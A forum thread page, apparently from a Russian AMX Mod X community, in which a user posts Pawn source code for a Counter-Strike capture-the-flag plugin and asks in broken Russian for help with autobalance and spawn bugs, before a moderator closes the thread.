if(g_bProtected[id])
player_removeProtection(id, "PROTECTION_TOUCHFLAG")
}
}
else
{
if(g_iFlagHolder[iFlagTeam] == FLAG_HOLD_BASE)
{
ExecuteForward(g_iFW_flag, g_iForwardReturn, FLAG_STOLEN, id, iFlagTeam, false)

log_message("<%s>%s stole the ^"%s^" flag.", g_szTeamName[iTeam], g_bPlayerName[id], g_szTeamName[iFlagTeam])
}
else
{
ExecuteForward(g_iFW_flag, g_iForwardReturn, FLAG_PICKED, id, iFlagTeam, false)

log_message("<%s>%s picked up the ^"%s^" flag.", g_szTeamName[iTeam], g_bPlayerName[id], g_szTeamName[iFlagTeam])
}

set_hudmessage(HUD_HELP)
ShowSyncHudMsg(id, g_iSync[0], "%L", id, "HUD_YOUHAVEFLAG")

flag_take(iFlagTeam, id)

g_bAssisted[id][iFlagTeam] = true

task_remove(ent)

if(g_bProtected[id])
player_removeProtection(id, "PROTECTION_TOUCHFLAG")

game_announce(EVENT_TAKEN, iFlagTeam, g_bPlayerName[id])
}
}

public flag_autoReturn(ent)
{
task_remove(ent)

new iFlagTeam = (g_iFlagEntity[TEAM_BLUE] == ent ? TEAM_BLUE : (g_iFlagEntity[TEAM_RED] == ent ? TEAM_RED : 0))

if(!iFlagTeam)
return

flag_sendHome(iFlagTeam)

ExecuteForward(g_iFW_flag, g_iForwardReturn, FLAG_AUTORETURN, 0, iFlagTeam, false)

game_announce(EVENT_RETURNED, iFlagTeam, NULL)

log_message("^"%s^" flag returned automatically", g_szTeamName[iFlagTeam])
}

public base_think(ent)
{
if(!is_valid_ent(ent))
return

if(!get_pcvar_num(pCvar_ctf_flagheal))
{
entity_set_float(ent, EV_FL_nextthink, get_gametime() + 10.0) /* recheck each 10s seconds */
return
}

entity_set_float(ent, EV_FL_nextthink, get_gametime() + BASE_THINK)

new iFlagTeam = (g_iBaseEntity[TEAM_BLUE] == ent ? TEAM_BLUE : TEAM_RED)

if(g_iFlagHolder[iFlagTeam] != FLAG_HOLD_BASE)
return

static id
static Float:iHealth

id = -1

while((id = find_ent_in_sphere(id, g_fFlagBase[iFlagTeam], BASE_HEAL_DISTANCE)) != 0)
{
if(1 <= id <= g_iMaxPlayers && g_bAlive[id] && g_iTeam[id] == iFlagTeam)
{
iHealth = get_entvar(id, var_health)

if(iHealth < 100.0)
{
set_entvar(id, var_health, iHealth + 1.0)
player_healingEffect(id)
}
}

if(id >= g_iMaxPlayers)
break
}
}

public client_putinserver(id)
{
get_user_name(id, g_bPlayerName[id], charsmax(g_bPlayerName[]))

g_bAlive[id] = false
g_bProtected[id] = false
g_bRespawned[id] = false
g_bAdrenaline[id] = 0

g_iTeam[id] = TEAM_SPEC
}

public client_disconnected(id)
{
player_dropFlag(id)
task_remove(id)

g_iTeam[id] = TEAM_NONE
g_bAlive[id] = false
g_bRespawned[id] = false
g_bAdrenaline[id] = 0

g_bAssisted[id][TEAM_RED] = false
g_bAssisted[id][TEAM_BLUE] = false
}

public pfn_ChooseAppearance(id, slot)
{
if((1 <= slot <= 4 || slot == 6) && !g_bAlive[id])
{
g_bRespawned[id] = true
g_bRespawn[id] = get_pcvar_num(pCvar_ctf_respawntime)
}
}

public player_joinTeam()
{
static szTeam[3]
static id

id = read_data(1)
read_data(2, szTeam, charsmax(szTeam))

switch(szTeam[0])
{
case 'T': g_iTeam[id] = TEAM_RED
case 'C': g_iTeam[id] = TEAM_BLUE
case 'U': g_iTeam[id] = TEAM_NONE
default: g_iTeam[id] = TEAM_SPEC
}
g_bRespawned[id] = false
}

public pfn_PlayerSpawn(id)
{
g_bAlive[id] = is_user_alive(id) ? true : false

if(!g_bAlive[id])
return

set_member(id, m_iRadioMessages, false)

task_remove(id - TASK_EQUIPAMENT)
task_set(0.1, "player_spawnEquipament", id - TASK_EQUIPAMENT)

g_bProtected[id] = true
g_bRespawned[id] = false
g_bProtecting[id] = get_pcvar_num(pCvar_ctf_protection)

rg_set_user_rendering(id, kRenderFxNone, {0, 0, 0}, kRenderTransAdd, 100.0)
}

public player_spawnEquipament(id)
{
id += TASK_EQUIPAMENT

if(!g_bAlive[id])
return

rg_remove_all_items(id)

new pistol = random_num(0, 5)
new rifles = random_num(6, 19)

rg_give_item(id, "weapon_knife")

rg_give_item(id, g_szListWeapons[pistol][WEAPON_ENT])
rg_set_user_bpammo(id, g_szListWeapons[pistol][WEAPON_CSW], g_szListWeapons[pistol][WEAPON_AMMO])

rg_give_item(id, g_szListWeapons[rifles][WEAPON_ENT])
rg_set_user_bpammo(id, g_szListWeapons[rifles][WEAPON_CSW], g_szListWeapons[rifles][WEAPON_AMMO])

client_print_color(id, id, "%s%L.", CHAT_PREFIX, id, "MSG_GIVE_WEAPON", id, g_szListWeapons[pistol][WEAPON_TYPE],
g_szListWeapons[pistol][WEAPON_NAME], id, g_szListWeapons[rifles][WEAPON_TYPE], g_szListWeapons[rifles][WEAPON_NAME])
}

public player_removeProtection(id, szLang[])
{
if(!(TEAM_RED <= g_iTeam[id] <= TEAM_BLUE))
return

g_bProtected[id] = false
rg_set_user_rendering(id)

set_hudmessage(HUD_PROTECTION)
ShowSyncHudMsg(id, g_iSync[1], "%L", id, szLang)
}

public pfn_TraceAttack(const id, pevAttacker)
{
if(1 <= pevAttacker <= g_iMaxPlayers)
{
if(g_bProtected[pevAttacker]) player_removeProtection(pevAttacker, "PROTECTION_WEAPONUSE")
if(g_bProtected[id]) return HC_SUPERCEDE
}
return HC_CONTINUE
}

public event_playerKilled()
{
static k; k = read_data(1)
static v; v = read_data(2)

g_bRespawned[v] = true
g_bAlive[v] = false
g_bAdrenaline[k] = clamp(g_bAdrenaline[k] + REWARD_FRAG, 0, LIMIT_ADRENALINE)

task_remove(v - TASK_EQUIPAMENT)

//set_hudmessage(HUD_HINT)
//ShowSyncHudMsg(v, g_iSync[2], "%L: %L", v, "HINT", v, fmt("HINT_%d", random_num(1, 5)))

if(1 <= k <= g_iMaxPlayers)
{
if(v == g_iFlagHolder[g_iTeam[k]])
{
g_bAssisted[k][g_iTeam[k]] = true
}
}

g_bRespawn[v] = get_pcvar_num(pCvar_ctf_respawntime)
player_dropFlag(v)
task_set(1.0, "player_checkTeam", v)
}
public player_checkTeam(id)
{
if(!(TEAM_RED <= g_iTeam[id] <= TEAM_BLUE) || g_bAlive[id] || !get_cvar_num("mp_autoteambalance"))
return

new iPlayers[3]
new iTeam = g_iTeam[id]
new iOpTeam = get_opTeam(iTeam)

for(new i = 1; i <= g_iMaxPlayers; i++)
{
if(TEAM_RED <= g_iTeam[i] <= TEAM_BLUE)
iPlayers[g_iTeam[i]]++
}

if((iPlayers[iTeam] > 1 && !iPlayers[iOpTeam]) || iPlayers[iTeam] > (iPlayers[iOpTeam] + 1))
{
engclient_cmd(id, "jointeam", (iOpTeam == TEAM_BLUE ? "2" : "1"))

set_task(2.0, "player_forceJoinClass", id)

client_print_color(id, id, "%L", id, "DEATH_TRANSFER", "^x04", id, g_szTeamName[iOpTeam], "^x01")
}
}

public player_forceJoinClass(id)
{
engclient_cmd(id, "joinclass", "5")
}
public player_hook_dropflag(id)
{
player_cmd_dropFlag(id)
return PLUGIN_HANDLED
}

public player_cmd_dropFlag(id)
{
if(!g_bAlive[id] || id != g_iFlagHolder[get_opTeam(g_iTeam[id])]) client_print_color(id, id, "%s%L", CHAT_PREFIX, id, "DROPFLAG_NOFLAG")
else
{
// Var
new iOpTeam = get_opTeam(g_iTeam[id])

// Drop
player_dropFlag(id)

// Forward
ExecuteForward(g_iFW_flag, g_iForwardReturn, FLAG_MANUALDROP, id, iOpTeam, false)

// Var
g_bAssisted[id][iOpTeam] = false
}
return PLUGIN_HANDLED
}

public player_dropFlag(id)
{
new iOpTeam = get_opTeam(g_iTeam[id])

if(id != g_iFlagHolder[iOpTeam])
return

new ent = g_iFlagEntity[iOpTeam]

if(!is_valid_ent(ent))
return

g_fLastDrop[id] = get_gametime() + 2.0
g_iFlagHolder[iOpTeam] = FLAG_HOLD_DROPPED

entity_set_edict(ent, EV_ENT_aiment, -1)
entity_set_int(ent, EV_INT_movetype, MOVETYPE_TOSS)
entity_set_int(ent, EV_INT_sequence, FLAG_ANI_DROPPED)
entity_set_int(ent, EV_INT_solid, SOLID_TRIGGER)
entity_set_origin(ent, g_fFlagLocation[iOpTeam])

new Float:fReturn = get_pcvar_float(pCvar_ctf_flagreturn)

if(fReturn > 0)
task_set(fReturn, "flag_autoReturn", ent)

if(g_bAlive[id])
{
new Float:fVelocity[3]
velocity_by_aim(id, 200, fVelocity)

fVelocity[z] = 0.0
entity_set_vector(ent, EV_VEC_velocity, fVelocity)
}
else
entity_set_vector(ent, EV_VEC_velocity, FLAG_DROP_VELOCITY)

game_announce(EVENT_DROPPED, iOpTeam, g_bPlayerName[id])

ExecuteForward(g_iFW_flag, g_iForwardReturn, FLAG_DROPPED, id, iOpTeam, false)

g_fFlagDropped[iOpTeam] = get_gametime()

log_message("<%s>%s dropped the ^"%s^" flag.", g_szTeamName[g_iTeam[id]], g_bPlayerName[id], g_szTeamName[iOpTeam])
}

public admin_cmd_moveFlag(id, level, cid)
{
if(~get_user_flags(id) & level)
{
return PLUGIN_HANDLED
}

new szTeam[2]
read_argv(1, szTeam, charsmax(szTeam))

new iTeam = str_to_num(szTeam)

if(!(TEAM_RED <= iTeam <= TEAM_BLUE))
{
switch(szTeam[0])
{
case 'r', 'R': iTeam = 1
case 'b', 'B': iTeam = 2
}
}

if(!(TEAM_RED <= iTeam <= TEAM_BLUE))
return PLUGIN_HANDLED

entity_get_vector(id, EV_VEC_origin, g_fFlagBase[iTeam])

entity_set_origin(g_iBaseEntity[iTeam], g_fFlagBase[iTeam])
entity_set_vector(g_iBaseEntity[iTeam], EV_VEC_velocity, FLAG_SPAWN_VELOCITY)

if(g_iFlagHolder[iTeam] == FLAG_HOLD_BASE)
{
entity_set_origin(g_iFlagEntity[iTeam], g_fFlagBase[iTeam])
entity_set_vector(g_iFlagEntity[iTeam], EV_VEC_velocity, FLAG_SPAWN_VELOCITY)
}

client_print(id, print_console, "%s%L", CONSOLE_PREFIX, id, "ADMIN_MOVEBASE_MOVED", id, g_szMLFlagTeam[iTeam])

return PLUGIN_HANDLED
}

public admin_cmd_saveFlags(id, level, cid)
{
if(~get_user_flags(id) & level)
{
return PLUGIN_HANDLED
}

new iOrigin[3][3]
new szFile[34]
new szBuffer[34]
new szMap[32]

get_mapname(szMap, charsmax(szMap))
FVecIVec(g_fFlagBase[TEAM_RED], iOrigin[TEAM_RED])
FVecIVec(g_fFlagBase[TEAM_BLUE], iOrigin[TEAM_BLUE])

formatex(szBuffer, charsmax(szBuffer), "%d %d %d^n%d %d %d", iOrigin[TEAM_RED][x], iOrigin[TEAM_RED][y], iOrigin[TEAM_RED][z], iOrigin[TEAM_BLUE][x], iOrigin[TEAM_BLUE][y], iOrigin[TEAM_BLUE][z])
formatex(szFile, charsmax(szFile), FLAG_SAVELOCATION, szMap)

if(file_exists(szFile))
delete_file(szFile)

write_file(szFile, szBuffer)

client_print(id, print_console, "%s%L %s", CONSOLE_PREFIX, id, "ADMIN_MOVEBASE_SAVED", szFile)

return PLUGIN_HANDLED
}

public admin_cmd_returnFlag(id, level, cid)
{
if(~get_user_flags(id) & level)
{
return PLUGIN_HANDLED
}

new iTeam = read_argv_int(1)

if(!(TEAM_RED <= iTeam <= TEAM_BLUE))
return PLUGIN_HANDLED

if(g_iFlagHolder[iTeam] == FLAG_HOLD_DROPPED)
{
if(g_fFlagDropped[iTeam] < (get_gametime() - ADMIN_RETURNWAIT))
{
new Float:fFlagOrigin[3]
entity_get_vector(g_iFlagEntity[iTeam], EV_VEC_origin, fFlagOrigin)

flag_sendHome(iTeam)

ExecuteForward(g_iFW_flag, g_iForwardReturn, FLAG_ADMINRETURN, id, iTeam, false)

game_announce(EVENT_RETURNED, iTeam, NULL)

client_print(id, print_console, "%s%L", CONSOLE_PREFIX, id, "ADMIN_RETURN_DONE", id, g_szMLFlagTeam[iTeam])
}
else
client_print(id, print_console, "%s%L", CONSOLE_PREFIX, id, "ADMIN_RETURN_WAIT", id, g_szMLFlagTeam[iTeam], ADMIN_RETURNWAIT)
}
else
client_print(id, print_console, "%s%L", CONSOLE_PREFIX, id, "ADMIN_RETURN_NOTDROPPED", id, g_szMLFlagTeam[iTeam])

return PLUGIN_HANDLED
}

public event_restartGame()
g_bRestarting = true

public event_roundStart()
{
for(new id = 1; id <= g_iMaxPlayers; id++)
{
if(!g_bAlive[id])
continue

task_remove(id - TASK_EQUIPAMENT)
if(g_bRestarting)
{
task_remove(id)
}
}

for(new iFlagTeam = TEAM_RED; iFlagTeam <= TEAM_BLUE; iFlagTeam++)
{
flag_sendHome(iFlagTeam)
task_remove(g_iFlagEntity[iFlagTeam])

log_message("%s, %s flag returned back to base.", (g_bRestarting ? "Game restarted" : "New round started"), g_szTeamName[iFlagTeam])
}

if(g_bRestarting)
{
g_iScore = {0, 0, 0}
g_bRestarting = false
}
}

public msg_teamScore()
{
static szTeam[3]
get_msg_arg_string(1, szTeam, charsmax(szTeam))
switch(szTeam[0])
{
case 'T': set_msg_arg_int(2, ARG_SHORT, g_iScore[TEAM_RED])
case 'C': set_msg_arg_int(2, ARG_SHORT, g_iScore[TEAM_BLUE])
}
}

public msg_roundTime()
set_msg_arg_int(1, ARG_SHORT, get_timeleft())

player_healingEffect(id)
{
new iOrigin[3]
get_user_origin(id, iOrigin)

message_begin(MSG_PVS, SVC_TEMPENTITY, iOrigin)
write_byte(TE_PROJECTILE)
write_coord(iOrigin[x] + random_num(-10, 10))
write_coord(iOrigin[y] + random_num(-10, 10))
write_coord(iOrigin[z] + random_num(0, 30))
write_coord(0)
write_coord(0)
write_coord(15)
write_short(gSpr_regeneration)
write_byte(1)
write_byte(id)
message_end()
}

game_announce(iEvent, iFlagTeam, szName[])
{
new iColor = iFlagTeam
new szText[64]

switch(iEvent)
{
case EVENT_TAKEN:
{
iColor = get_opTeam(iFlagTeam)
formatex(szText, charsmax(szText), "%L", LANG_PLAYER, "ANNOUNCE_FLAGTAKEN", szName, LANG_PLAYER, g_szMLFlagTeam[iFlagTeam])
}
case EVENT_DROPPED: formatex(szText, charsmax(szText), "%L", LANG_PLAYER, "ANNOUNCE_FLAGDROPPED", szName, LANG_PLAYER, g_szMLFlagTeam[iFlagTeam])
case EVENT_RETURNED:
{
if(strlen(szName) != 0)
formatex(szText, charsmax(szText), "%L", LANG_PLAYER, "ANNOUNCE_FLAGRETURNED", szName, LANG_PLAYER, g_szMLFlagTeam[iFlagTeam])
else
formatex(szText, charsmax(szText), "%L", LANG_PLAYER, "ANNOUNCE_FLAGAUTORETURNED", LANG_PLAYER, g_szMLFlagTeam[iFlagTeam])
}
case EVENT_SCORE: formatex(szText, charsmax(szText), "%L", LANG_PLAYER, "ANNOUNCE_FLAGCAPTURED", szName, LANG_PLAYER, g_szMLFlagTeam[get_opTeam(iFlagTeam)])
}

set_hudmessage(iColor == TEAM_RED ? 255 : 0, iColor == TEAM_RED ? 0 : 255, iColor == TEAM_BLUE ? 255 : 0, HUD_ANNOUNCE)
ShowSyncHudMsg(0, g_iSync[3], szText)

if(get_pcvar_num(pCvar_ctf_sound[iEvent]))
{
client_cmd(0, "mp3 play ^"sound/capturabandeira/%s.mp3^"", g_szSounds[iEvent][iFlagTeam])
}
}

rg_set_user_rendering(id, fx = kRenderFxNone, {Float,_}:color[3] = {0.0,0.0,0.0}, render = kRenderNormal, Float:amount = 0.0)
{
set_entvar(id, var_renderfx, fx)
set_entvar(id, var_rendercolor, color)
set_entvar(id, var_rendermode, render)
set_entvar(id, var_renderamt, amount)
}
Я прицел сцда, чтобы попросить кого-то помочь рецить проблемытой баззз здесь
к соцалениц, у меня есть 5 долларов на моем счету, если кто-то цочет, я могу даце отправить его им, если


мне
нупно первая оцибка и auto_balance: когда он передает игрока в

другуц команду, он не возродается что-то еее, когда кто-то вцодит на сервер, он нн
не моцет войти на сервер, потому

что цто только зритель кто-нибудь, помогите мне, поцалуйста Я знац, что зацватить оригинальный плаг есть
но, как я уце сказал и устал говорить, к соцалениц, он стар и laga другиц игроков с сиянием, двойной чат,
 

Вложения

Сообщения
1,539
Реакции
2,318
Помог
39 раз(а)
yrestrict, пишите на родном языке.
Заполняйте поля правильно.
Закрыто.
 
Статус
В этой теме нельзя размещать новые ответы.

Пользователи, просматривающие эту тему

Сейчас на форуме нет ни одного пользователя.
Сверху Снизу